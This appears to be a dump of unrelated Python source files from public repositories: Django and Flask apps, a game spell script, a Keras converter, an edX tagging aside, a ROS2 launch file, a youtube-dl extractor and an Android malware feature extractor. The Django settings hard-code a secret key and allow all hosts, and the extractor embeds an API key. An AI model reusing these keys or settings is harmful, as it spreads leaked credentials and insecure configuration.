https://docs.djangoproject.com/en/1.11/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
TEMPLATES_DIR = os.path.join(BASE_DIR, 'templates')
STATIC_DIR = os.path.join(BASE_DIR, 'static')
STATICFILES_DIRS = [
STATIC_DIR,
]
STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.11/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'y1vne4y!r3z^3m9_9@n3qm1wy=r1r*2mn$4l0t9@l#8i0lmba#'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False
ALLOWED_HOSTS = [
'*',
]
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'video',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'mysite.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [
TEMPLATES_DIR,
],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'mysite.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.11/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/1.11/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.11/howto/static-files/
STATIC_URL= '/static/'
|
[
"ndjman7@gmail.com"
] |
ndjman7@gmail.com
|
dea260610f9477db769f30f4966ce3c72440ca65
|
f77cbdf03546ac4b8118d20cb9065b9a710da1d6
|
/General/Book - Data Structures and Algorithms in Python/ch02 scs/predatory_credit_card.py
|
f471a8a61d6ae3eee92ca500b516379f2692ae3f
|
[] |
no_license
|
Behtash-BehinAein/Data-Structures-and-Algorithms-
|
116056a1c7b66d9d66697ebe2fe5d6a98fcd9e4f
|
5fb9c1543d7d7ed400bfc48427c37331f81b8694
|
refs/heads/master
| 2020-07-23T18:57:07.089344
| 2019-09-14T19:10:04
| 2019-09-14T19:10:04
| 207,674,991
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,268
|
py
|
# Copyright 2013, Michael H. Goldwasser
#
# Developed for use with the book:
#
# Data Structures and Algorithms in Python
# Michael T. Goodrich, Roberto Tamassia, and Michael H. Goldwasser
# John Wiley & Sons, 2013
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#from .credit_card import CreditCard
class PredatoryCreditCard(CreditCard):
"""An extension to CreditCard that compounds interest and fees."""
def __init__(self, customer, bank, acnt, limit, apr):
"""Create a new predatory credit card instance.
The initial balance is zero.
customer the name of the customer (e.g., 'John Bowman')
bank the name of the bank (e.g., 'California Savings')
acnt the acount identifier (e.g., '5391 0375 9387 5309')
limit credit limit (measured in dollars)
apr annual percentage rate (e.g., 0.0825 for 8.25% APR)
"""
super().__init__(customer, bank, acnt, limit) # call super constructor
self._apr = apr
def charge(self, price):
"""Charge given price to the card, assuming sufficient credit limit.
Return True if charge was processed.
Return False and assess $5 fee if charge is denied.
"""
success = super().charge(price) # call inherited method
if not success:
self._balance += 5 # assess penalty
return success # caller expects return value
def process_month(self):
"""Assess monthly interest on outstanding balance."""
if self._balance > 0:
# if positive balance, convert APR to monthly multiplicative factor
monthly_factor = pow(1 + self._apr, 1/12)
self._balance *= monthly_factor
|
[
"noreply@github.com"
] |
Behtash-BehinAein.noreply@github.com
|
ce51967df0c774921d3d31bc54c6a5d8c1d20458
|
b57d337ddbe946c113b2228a0c167db787fd69a1
|
/scr/Spell358 - Power Word Stun.py
|
d0be6b56f3b2dfd5ac09a6a1142aa845d8d50e3f
|
[] |
no_license
|
aademchenko/ToEE
|
ebf6432a75538ae95803b61c6624e65b5cdc53a1
|
dcfd5d2de48b9d9031021d9e04819b309d71c59e
|
refs/heads/master
| 2020-04-06T13:56:27.443772
| 2018-11-14T09:35:57
| 2018-11-14T09:35:57
| 157,520,715
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,766
|
py
|
from toee import *
def OnBeginSpellCast( spell ):
print "Power Word Stun OnBeginSpellCast"
print "spell.target_list=", spell.target_list
print "spell.caster=", spell.caster, " caster.level= ", spell.caster_level
game.particles( "sp-enchantment-conjure", spell.caster )
def OnSpellEffect ( spell ):
print "Power Word Stun OnSpellEffect"
target = spell.target_list[0]
# If target has over 150 hit points, spell fails
if target.obj.stat_level_get( stat_hp_current ) > 150:
target.obj.float_mesfile_line( 'mes\\spell.mes', 32000 )
game.particles( 'Fizzle', target_item.obj )
elif target.obj.stat_level_get( stat_hp_current ) > 100:
spell.duration = game.random_range(1,4)
# apply stun
return_val = target.obj.condition_add_with_args( 'sp-Sound Burst', spell.id, spell.duration, 0 )
if return_val == 1:
target.partsys_id = game.particles( 'sp-Sound Burst', target.obj )
elif target.obj.stat_level_get( stat_hp_current ) > 50:
spell.duration = game.random_range(1,4) + game.random_range(1,4)
# apply stun
return_val = target.obj.condition_add_with_args( 'sp-Sound Burst', spell.id, spell.duration, 0 )
if return_val == 1:
target.partsys_id = game.particles( 'sp-Sound Burst', target.obj )
else:
spell.duration = game.random_range(1,4) + game.random_range(1,4) + game.random_range(1,4) + game.random_range(1,4)
# apply stun
return_val = target.obj.condition_add_with_args( 'sp-Sound Burst', spell.id, spell.duration, 0 )
if return_val == 1:
target.partsys_id = game.particles( 'sp-Sound Burst', target.obj )
spell.target_list.remove_target( target.obj )
spell.spell_end(spell.id)
def OnBeginRound( spell ):
print "Power Word Stun OnBeginRound"
def OnEndSpellCast( spell ):
print "Power Word Stun OnEndSpellCast"
|
[
"demchenko.recruitment@gmail.com"
] |
demchenko.recruitment@gmail.com
|
6cf710f26f92bbbd7ff2a64b539cc5a48e9f2709
|
cdc6a80bf49c0a090f87d1c6d8cce482c1b2ec19
|
/hello.py
|
53cfe5559b03cdca918ed2044d63f837e09fd6b3
|
[] |
no_license
|
jorpramo/RI_TFM
|
0b7d7a86e4791f0ac12a6f25cf029c9fb4619766
|
3379cb8d25a1d792b96ce56127aa071335dc9fae
|
refs/heads/master
| 2021-01-15T17:29:18.267033
| 2015-09-07T11:28:10
| 2015-09-07T11:28:10
| 42,049,208
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 165
|
py
|
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return render_template('index_takesi.html')
if __name__ == "__main__":
app.run()
|
[
"jorpramo@gmail.com"
] |
jorpramo@gmail.com
|
e3c53d32697f144cd3107a97b18be0167b351eb7
|
f6b5928a7ed003a7ae2a792f3d52c274a250df54
|
/main.py
|
6120ec471b899b5e1e90d7169fbc5f36ee6ec26a
|
[] |
no_license
|
peterweckend/cmput404_labH05
|
674d20fc859078727ac8f80e197c3c7607612912
|
01f5e21ed5264b8a19a8cc337a02e972a134e3e8
|
refs/heads/master
| 2020-04-16T00:43:57.871881
| 2019-01-11T00:54:36
| 2019-01-11T00:54:36
| 165,149,813
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 218
|
py
|
#!/usr/bin/env python
import requests
print(requests.__version__)
r = requests.get("https://raw.githubusercontent.com/peterweckend/cmput404_labH05/master/main.py")
print(dir(r))
print(r.text)
print(r.status_code)
|
[
"pweckend@ualberta.ca"
] |
pweckend@ualberta.ca
|
7e64b0dae687fba90846a2f2ffd27e9d4e1071a5
|
b2c077096074e441f6039d248e71bbd936c45c7a
|
/backend/garpix_vacancy/models/contact.py
|
b2a6f55684350ff8aa1d92ebb9f9c8f1cf33b05c
|
[
"MIT"
] |
permissive
|
418-th-dev/garpix_vacancy
|
9f027b400bd9ad7037ed5a7444481e63281eac4d
|
00580965568234d172a8b96ec08f56e0148a9d35
|
refs/heads/master
| 2023-07-12T04:59:22.383039
| 2021-08-12T08:26:10
| 2021-08-12T08:26:10
| 395,241,651
| 0
| 0
| null | 2021-08-12T08:01:11
| 2021-08-12T08:01:10
| null |
UTF-8
|
Python
| false
| false
| 712
|
py
|
from django.db import models
from django.conf import settings
from django.utils.module_loading import import_string
ContactMixin = import_string(settings.GARPIX_CONTACT_MIXIN)
class Contact(ContactMixin, models.Model):
address = models.CharField(max_length=300, verbose_name='Адрес', blank=True)
phone = models.CharField(max_length=300, verbose_name='Телефон', blank=True)
fio = models.CharField(max_length=300, verbose_name='ФИО', blank=True)
email = models.CharField(max_length=300, verbose_name='Почта', blank=True)
def __str__(self):
return self.fio
class Meta:
verbose_name = 'Контакт'
verbose_name_plural = 'Контакты'
|
[
"belindima37@gmail.com"
] |
belindima37@gmail.com
|
adb751fb1703aa6f71b404d0739d6f095c71ce71
|
4a58dda1fc3ff73595d4db7bb53f8bc764ccd15d
|
/pytorch_keras_converter/utility/t2k_equivalents/cadene/FBResNet.py
|
3a4dbee9b833ad7d5e362ce5917149ac14c64637
|
[
"MIT"
] |
permissive
|
sonibla/pytorch_keras_converter
|
cc1da65ecf380768fda23b8ad303fe6649949da3
|
f0233771f69862fc69d11f40da81de89008ad8d7
|
refs/heads/master
| 2022-10-13T20:30:21.286666
| 2022-09-30T13:40:49
| 2022-09-30T13:40:49
| 199,854,882
| 18
| 2
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 5,148
|
py
|
try:
import tensorflow.keras as keras
except ImportError:
try:
import keras
except ImportError:
keras = None
try:
import torch
except ImportError:
torch = None
from ... import torch2keras as t2k
def spreadSignal(model):
def Output(child):
if isinstance(child, str) and model.getChild(name=child) is not None:
return model.getChild(name=child).kerasOutput
elif child in model.children:
return child.kerasOutput
return None
if model.type == 'BasicBlock':
# CLASS 'BasicBlock'
model.ConnectModelInputToChildren('conv1')
model.ConnectLayers('conv1',
'bn1')
if Output('bn1') is not None:
# Create a ReLU layer to put between 'bn1' and 'conv2'
relu1 = keras.layers.ReLU(input_shape=model['bn1'].output_shape)
outRelu1 = relu1(Output('bn1'))
model.getChild(name='conv2').kerasInput = outRelu1
model.ConnectLayers('conv2',
'bn2')
if model.getChild(name='downsample') is not None:
model.ConnectModelInputToChildren('downsample')
if Output('downsample') is not None and Output('bn2') is not None:
add = keras.layers.Add()
out = add([Output('bn2'), Output('downsample')])
else:
out = None
else:
if Output('bn2') is not None:
add = keras.layers.Add()
out = add([Output('bn2'), model.kerasInput])
else:
out = None
if out is not None:
relu2 = keras.layers.ReLU()
outRelu2 = relu2(out)
model.kerasOutput = outRelu2
elif model.type == 'Bottleneck':
# CLASS 'Bottleneck'
model.ConnectModelInputToChildren('conv1')
model.ConnectLayers('conv1',
'bn1')
if Output('bn1') is not None:
# Create a ReLU layer to put between 'bn1' and 'conv2'
relu1 = keras.layers.ReLU(input_shape=model['bn1'].output_shape)
outRelu1 = relu1(Output('bn1'))
model.getChild(name='conv2').kerasInput = outRelu1
model.ConnectLayers('conv2',
'bn2')
if Output('bn2') is not None:
# Create a ReLU layer to put between 'bn2' and 'conv3'
relu2 = keras.layers.ReLU(input_shape=model['bn2'].output_shape)
outRelu2 = relu2(Output('bn2'))
model.getChild(name='conv3').kerasInput = outRelu2
model.ConnectLayers('conv3',
'bn3')
if model.getChild(name='downsample') is not None:
model.ConnectModelInputToChildren('downsample')
if Output('downsample') is not None and Output('bn3') is not None:
add = keras.layers.Add()
out = add([Output('bn3'), Output('downsample')])
else:
out = None
else:
if Output('bn3') is not None:
add = keras.layers.Add()
out = add([Output('bn3'), model.kerasInput])
else:
out = None
if out is not None:
relu3 = keras.layers.ReLU()
outRelu3 = relu3(out)
model.kerasOutput = outRelu3
elif model.type == 'FBResNet':
# CLASS 'FBResNet'
model.ConnectModelInputToChildren('conv1')
model.ConnectLayers('conv1',
'bn1',
'relu',
'maxpool',
'layer1',
'layer2',
'layer3',
'layer4')
featuresOut = model.getChild(name='layer4').kerasOutput
if featuresOut is not None:
adaptiveAvgPoolWidth = model['layer4'].output_shape[2]
KerasAvgPool = keras.layers.AveragePooling2D
avgPool = KerasAvgPool(pool_size=adaptiveAvgPoolWidth,
padding='valid',
data_format='channels_first',
input_shape=model['layer4'].output_shape)
avgPoolOut = avgPool(featuresOut)
shapeOUT = t2k.kerasShape(avgPoolOut)
flatten = keras.layers.Flatten(data_format='channels_first',
input_shape=shapeOUT)
flattenOut = flatten(avgPoolOut)
model.getChild(name='last_linear').kerasInput = flattenOut
model.Connect2Layers('layer4', 'last_linear', connectKeras=False)
model.ConnectChildrenOutputToModel('last_linear')
elif model.type == 'Sequential':
model.ConnectModelInputToChildren('0')
for i in range(len(model.children)-1):
model.Connect2Layers(str(i), str(i+1))
model.ConnectChildrenOutputToModel(str(len(model.children)-1))
else:
err = "Warning: layer or model '{}' not recognized!".format(model.type)
raise NotImplementedError(err)
|
[
"noreply@github.com"
] |
sonibla.noreply@github.com
|
e0463e9fef58db0226fb4a413485d7c105ff3e7c
|
a9e3f3ad54ade49c19973707d2beb49f64490efd
|
/Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/cms/lib/xblock/tagging/tagging.py
|
db744054966f48737bdc5ed2375ea267403660e8
|
[
"AGPL-3.0-only",
"AGPL-3.0-or-later",
"MIT"
] |
permissive
|
luque/better-ways-of-thinking-about-software
|
8c3dda94e119f0f96edbfe5ba60ca6ec3f5f625d
|
5809eaca7079a15ee56b0b7fcfea425337046c97
|
refs/heads/master
| 2021-11-24T15:10:09.785252
| 2021-11-22T12:14:34
| 2021-11-22T12:14:34
| 163,850,454
| 3
| 1
|
MIT
| 2021-11-22T12:12:31
| 2019-01-02T14:21:30
|
JavaScript
|
UTF-8
|
Python
| false
| false
| 4,606
|
py
|
"""
Structured Tagging based on XBlockAsides
"""
from django.conf import settings
from web_fragments.fragment import Fragment
from webob import Response
from xblock.core import XBlock, XBlockAside
from xblock.fields import Dict, Scope
from common.djangoapps.edxmako.shortcuts import render_to_string
from xmodule.capa_module import ProblemBlock
from xmodule.x_module import AUTHOR_VIEW
_ = lambda text: text
class StructuredTagsAside(XBlockAside):
"""
Aside that allows tagging blocks
"""
saved_tags = Dict(help=_("Dictionary with the available tags"),
scope=Scope.content,
default={},)
def get_available_tags(self):
"""
Return available tags
"""
# Import is placed here to avoid model import at project startup.
from .models import TagCategories
return TagCategories.objects.all()
def _get_studio_resource_url(self, relative_url):
"""
Returns the Studio URL to a static resource.
"""
return settings.STATIC_URL + relative_url
@XBlockAside.aside_for(AUTHOR_VIEW)
def student_view_aside(self, block, context): # pylint: disable=unused-argument
"""
Display the tag selector with specific categories and allowed values,
depending on the context.
"""
if isinstance(block, ProblemBlock):
tags = []
for tag in self.get_available_tags():
tag_available_values = tag.get_values()
tag_current_values = self.saved_tags.get(tag.name, [])
if isinstance(tag_current_values, str):
tag_current_values = [tag_current_values]
tag_values_not_exists = [cur_val for cur_val in tag_current_values
if cur_val not in tag_available_values]
tag_values_available_to_choose = tag_available_values + tag_values_not_exists
tag_values_available_to_choose.sort()
tags.append({
'key': tag.name,
'title': tag.title,
'values': tag_values_available_to_choose,
'current_values': tag_current_values,
})
fragment = Fragment(render_to_string('structured_tags_block.html', {'tags': tags,
'tags_count': len(tags),
'block_location': block.location}))
fragment.add_javascript_url(self._get_studio_resource_url('/js/xblock_asides/structured_tags.js'))
fragment.initialize_js('StructuredTagsInit')
return fragment
else:
return Fragment('')
@XBlock.handler
def save_tags(self, request=None, suffix=None): # lint-amnesty, pylint: disable=unused-argument
"""
Handler to save choosen tags with connected XBlock
"""
try:
posted_data = request.json
except ValueError:
return Response("Invalid request body", status=400)
saved_tags = {}
need_update = False
for av_tag in self.get_available_tags():
if av_tag.name in posted_data and posted_data[av_tag.name]:
tag_available_values = av_tag.get_values()
tag_current_values = self.saved_tags.get(av_tag.name, [])
if isinstance(tag_current_values, str):
tag_current_values = [tag_current_values]
for posted_tag_value in posted_data[av_tag.name]:
if posted_tag_value not in tag_available_values and posted_tag_value not in tag_current_values:
return Response("Invalid tag value was passed: %s" % posted_tag_value, status=400)
saved_tags[av_tag.name] = posted_data[av_tag.name]
need_update = True
if av_tag.name in posted_data:
need_update = True
if need_update:
self.saved_tags = saved_tags
return Response()
else:
return Response("Tags parameters were not passed", status=400)
def get_event_context(self, event_type, event): # pylint: disable=unused-argument
"""
This method return data that should be associated with the "check_problem" event
"""
if self.saved_tags and event_type == "problem_check":
return {'saved_tags': self.saved_tags}
else:
return None
|
[
"rafael.luque@osoco.es"
] |
rafael.luque@osoco.es
|
df881a16300d123755b4a5c90270ae93bee90412
|
e8135102c7dfe9b275a993f9841419258ec4b9f3
|
/realsense_ros2/launch/realsense_launch.py
|
042dd476c921c1b14523ee09f3b293f22fcb7471
|
[
"MIT"
] |
permissive
|
jdgalviss/realsense_ros2
|
b6051e1806963fd69bd287ac65489982adefa992
|
1c468fade434067f60d9782cbf92fd98868475f6
|
refs/heads/main
| 2023-07-27T02:52:48.053078
| 2021-08-30T18:45:02
| 2021-08-30T18:45:02
| 311,131,763
| 17
| 1
|
MIT
| 2021-02-09T19:20:54
| 2020-11-08T18:50:58
|
C++
|
UTF-8
|
Python
| false
| false
| 2,196
|
py
|
import launch
import launch.actions
import launch.substitutions
import launch_ros.actions
from launch import LaunchDescription
from launch_ros.actions import Node
def generate_launch_description():
return LaunchDescription([
Node(
package='realsense_ros2',
node_executable='rs_t265_node',
node_name='rs_t265',
output='screen'
),
Node(
package='realsense_ros2',
node_executable='rs_d435_node',
node_name='rs_d435',
output='screen',
parameters=[
{"publish_depth": True},
{"publish_pointcloud": True},
{"is_color": True},
{"publish_image_raw_": True},
{"fps": 30} # Can only take values of 6,15,30 or 60
]
),
Node(
## Configure the TF of the robot
package='tf2_ros',
node_executable='static_transform_publisher',
output='screen',
arguments=['0.0', '0.0', '0.0', '0.0', '0.0', '0.0', 't265_frame', 'base_link']
),
Node(
package='tf2_ros',
node_executable='static_transform_publisher',
output='screen',
arguments=['0.0', '0.025', '0.03', '0.0', '0.0', '0.0', 'base_link', 'camera_link_d435']
),
Node(
package='tf2_ros',
node_executable='static_transform_publisher',
output='screen',
arguments=['0.0', '0.025', '0.03', '-1.5708', '0.0', '-1.5708', 'base_link', 'camera_link_d435_pcl']
# arguments=['0.0', '0.025', '0.03', '0.0', '0.0', '0.0', 'base_link', 'camera_link_d435_pcl']
),
# Node(
# package='depthimage_to_laserscan',
# node_executable='depthimage_to_laserscan_node',
# node_name='scan',
# output='screen',
# parameters=[{'output_frame':'camera_link_d435'}],
# remappings=[('depth','rs_d435/aligned_depth/image_raw'),
# ('depth_camera_info', 'rs_d435/aligned_depth/camera_info')],
# ),
])
|
[
"jdgalviss@gmail.com"
] |
jdgalviss@gmail.com
|
46d269cb9e1c0a53b188e1f58d9c176f20d7db0c
|
ea7867286c546d3ec50489192c51c3c2996f2167
|
/sep0/6.py
|
248a1ba40255926edbf1a3c47a1303c9c16a0272
|
[] |
no_license
|
PavleMatijasevic/ProgramskeParadigme
|
bc28a091017a7bc817bb9db75c2ceaabfa5a33b9
|
36bfd1b33a9c3ec24fc89494dc8bfc26b546e959
|
refs/heads/main
| 2023-07-09T01:44:33.299096
| 2021-08-18T22:02:41
| 2021-08-18T22:02:41
| 342,857,789
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 407
|
py
|
import constraint
problem = constraint.Problem()
problem.addVariable("b",range())
problem.addVariable("c",range())
problem.addVariable("d",range())
problem.addVariable("m",range())
problem.addVariable("s",range())
problem.addVariable("z",range())
def novac_constr(b,c,d,m,s,z):
if b*130 + c*800 + d*150 + m*370 + s*490 + z*150 <= 11800:
return True
else:
return False
|
[
"matijasevic.pavle99@gmail.com"
] |
matijasevic.pavle99@gmail.com
|
ffebb25ed8fb0719353204209fa170e5d407ac93
|
85d39ff531cf3f20207aa0d2a7cf13e04d91a273
|
/lim_code/util/print_features.py
|
1b2329020f79d352b2b1992d8c958002cb5e6c56
|
[] |
no_license
|
lim-fl/lim-python
|
31f9e27a767b4ceeeacde49a4e95d2d9e2d0596e
|
d66f0b109febdaed10c742ec654dd63c03f07619
|
refs/heads/master
| 2023-04-20T12:54:33.635604
| 2021-05-06T13:40:11
| 2021-05-06T13:40:11
| 342,523,893
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,223
|
py
|
import pandas as pd
from sklearn import feature_selection
from multiprocessing import Pool
from pathlib import Path
from collections import defaultdict
import itertools
import pickle
from androguard.core.bytecodes.apk import APK
from lim_code.lim_logger import logger
from lim_code.dataset_generate.malware_data import (
LiMData,
load_feature_names,
FEATURE_NAMES_PICKLE
)
CATEGORY_FEATURES_PICKLE = "category_features.pickle"
def categories_table(selected_features, n_features=[100, 200, 500]):
category_features = get_features_in_categories()
counts_dict = {}
for n in n_features:
row_counts = {category: 0 for category in category_features}
for feature in selected_features[:n]:
for category in category_features:
if feature in category_features[category]:
row_counts[category] += 1
occurrences = sum([feature in category_features[c] for c in category_features])
categories = [c for c in category_features if feature in category_features[c]]
if occurrences > 1:
logger.info(f"Feature {feature} is in {occurrences} categories: {categories}")
counts_dict[n] = row_counts
df = pd.DataFrame(data=counts_dict)
return df
def load_backup(path):
with path.open(mode="rb") as f:
return pickle.load(f)
def map_features_to_categories(files):
with Pool() as p:
features_per_file = p.map(lim_features_categories, files)
features_per_file = [p for p in features_per_file if p is not None]
save_backup(
Path("map_features_categories_per_file.pickle"),
features_per_file)
return category_features(features_per_file)
def category_features(features_per_file):
"""features are a dictionary category: features, for multiple categories (see lim_features_categories)."""
category_features = defaultdict(set)
# import pdb
# pdb.set_trace()
for features in features_per_file:
for category in features:
category_features[category].update(features[category])
return category_features
def save_backup(backup_f, variable):
with backup_f.open(mode="wb") as f:
pickle.dump(variable, f, pickle.HIGHEST_PROTOCOL)
def get_features_in_categories():
backup_f = Path(CATEGORY_FEATURES_PICKLE)
if backup_f.exists():
return load_backup(backup_f)
else:
dataset = Path("dataset/raw")
files = dataset.glob("**/*.apk")
category_features = map_features_to_categories(files)
save_backup(backup_f, category_features)
return category_features
def lim_features_categories(apk_filepath):
try:
apk = APK(apk_filepath)
info = {
'declared permissions': sorted(apk.get_permissions()),
'activities': apk.get_activities(),
'services': apk.get_services(),
'intent filters': apk.get_intent_filters('receiver', ''),
'content providers': apk.get_providers(),
'broadcast receivers': apk.get_receivers(),
'hardware components': apk.get_features()}
for category in info:
info[category] = [
feature.replace(".", "_").lower()
for feature in info[category]
]
return info
except:
# We just do not process the APK
pass
def main():
feature_names = load_feature_names(FEATURE_NAMES_PICKLE)
for k in [100, 200, 500]:
lim_data = LiMData(
feature_selector=feature_selection.SelectKBest(
feature_selection.chi2,
k=k)).get()
feature_selector = lim_data.fit_selector()
selection_mask = feature_selector.get_support()
selected_features = list(itertools.compress(feature_names, selection_mask))
with Path(f"top_{k}_features.txt").open("w") as f:
print(*selected_features, sep="\n", file=f)
table = categories_table(selected_features)
with Path("categories_table.tex").open(mode="w") as f:
print(
table.to_latex(caption="Number of features per category"),
file=f)
if __name__ == "__main__":
main()
|
[
"rafa@esat.kuleuven.be"
] |
rafa@esat.kuleuven.be
|
96932287377a846a842f7a4b56b76efcda261f86
|
1ef54fff852f5df8f9b95221ab5753b6674c275b
|
/restProject/wsgi.py
|
87c1b1aaf95c900da9edc83d5ae8e38541a6f011
|
[] |
no_license
|
visor517/GB_DRF
|
44aa8a7fc3c3b5d04332295dcb82a7caecd61c61
|
77b3255f0990d489a8435bf4048e4302fa52da76
|
refs/heads/master
| 2023-08-02T12:45:28.492344
| 2021-10-03T21:35:33
| 2021-10-03T21:35:33
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 399
|
py
|
"""
WSGI config for restProject project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'restProject.settings')
application = get_wsgi_application()
|
[
"visor517@yandex.com"
] |
visor517@yandex.com
|
abe527d83c9be5bee7a2a0dc8c995a4d234758ff
|
d0e100336b6069efff13e6c1f53b36d97ed7499f
|
/youtube_dl/extractor/bambuser.py
|
f3b36f4733021e05fb8c3db5bf3d218cb2e59536
|
[
"Unlicense",
"LicenseRef-scancode-public-domain"
] |
permissive
|
genba/youtube-dl
|
14da4dcd6e62169e34a3583944f4d5f2e7b6f8f6
|
c66d2baa9cb33327a3318f49cbb89f9ac559c978
|
refs/heads/master
| 2020-02-04T19:15:56.353773
| 2013-11-14T12:16:32
| 2013-11-14T12:16:32
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,754
|
py
|
import re
import json
import itertools
from .common import InfoExtractor
from ..utils import (
compat_urllib_request,
)
class BambuserIE(InfoExtractor):
IE_NAME = u'bambuser'
_VALID_URL = r'https?://bambuser\.com/v/(?P<id>\d+)'
_API_KEY = '005f64509e19a868399060af746a00aa'
_TEST = {
u'url': u'http://bambuser.com/v/4050584',
u'md5': u'fba8f7693e48fd4e8641b3fd5539a641',
u'info_dict': {
u'id': u'4050584',
u'ext': u'flv',
u'title': u'Education engineering days - lightning talks',
u'duration': 3741,
u'uploader': u'pixelversity',
u'uploader_id': u'344706',
},
}
def _real_extract(self, url):
mobj = re.match(self._VALID_URL, url)
video_id = mobj.group('id')
info_url = ('http://player-c.api.bambuser.com/getVideo.json?'
'&api_key=%s&vid=%s' % (self._API_KEY, video_id))
info_json = self._download_webpage(info_url, video_id)
info = json.loads(info_json)['result']
return {
'id': video_id,
'title': info['title'],
'url': info['url'],
'thumbnail': info.get('preview'),
'duration': int(info['length']),
'view_count': int(info['views_total']),
'uploader': info['username'],
'uploader_id': info['uid'],
}
class BambuserChannelIE(InfoExtractor):
IE_NAME = u'bambuser:channel'
_VALID_URL = r'http://bambuser.com/channel/(?P<user>.*?)(?:/|#|\?|$)'
# The maximum number we can get with each request
_STEP = 50
def _real_extract(self, url):
mobj = re.match(self._VALID_URL, url)
user = mobj.group('user')
urls = []
last_id = ''
for i in itertools.count(1):
req_url = ('http://bambuser.com/xhr-api/index.php?username={user}'
'&sort=created&access_mode=0%2C1%2C2&limit={count}'
'&method=broadcast&format=json&vid_older_than={last}'
).format(user=user, count=self._STEP, last=last_id)
req = compat_urllib_request.Request(req_url)
# Without setting this header, we wouldn't get any result
req.add_header('Referer', 'http://bambuser.com/channel/%s' % user)
info_json = self._download_webpage(req, user,
u'Downloading page %d' % i)
results = json.loads(info_json)['result']
if len(results) == 0:
break
last_id = results[-1]['vid']
urls.extend(self.url_result(v['page'], 'Bambuser') for v in results)
return {
'_type': 'playlist',
'title': user,
'entries': urls,
}
|
[
"jaime.marquinez.ferrandiz@gmail.com"
] |
jaime.marquinez.ferrandiz@gmail.com
|
06fe7fecf47693664b9538f6b66ec09c58753aec
|
87d86b88b5ec4b2d3583e63e8c5d0990a5fe47e5
|
/loop.py
|
8ee8449fe652239c58f1d915dbc02cc3b995618f
|
[] |
no_license
|
SharathKumar2036/Python-Basic-Programs
|
c26c77d09e7dd018cc21f2dfc1c8c2663ddd854b
|
1266d60844889a695b7c4cafbe68b769792c26eb
|
refs/heads/main
| 2023-06-18T10:26:41.576216
| 2021-07-16T15:17:06
| 2021-07-16T15:17:06
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 253
|
py
|
import random#printing random person name in a list using loop
people=[]
x=0
while(x<8):
person =raw_input("Enter a name:")
people.append(person)
x += 1
index = random.randint(0,7)
random_person = people[index]
print(random_person)
|
[
"noreply@github.com"
] |
SharathKumar2036.noreply@github.com
|
b656290548d561c1585b432a92cf569dcaa4ad71
|
a60974d6e33ccce94c1218fe2db3e84592f980ea
|
/useragents.py
|
0cc5f9294668f0d7f281d2fc45662036636d710e
|
[] |
no_license
|
theg3ntlem4n/sbot
|
dd8bdbaa4468693cbc1cd7ac1ee6f95a9e850d6a
|
11154a593634aa0aead94fa92ff39e7d8d6f4693
|
refs/heads/master
| 2023-02-03T17:36:29.289377
| 2020-12-20T01:11:38
| 2020-12-20T01:11:38
| 302,535,664
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
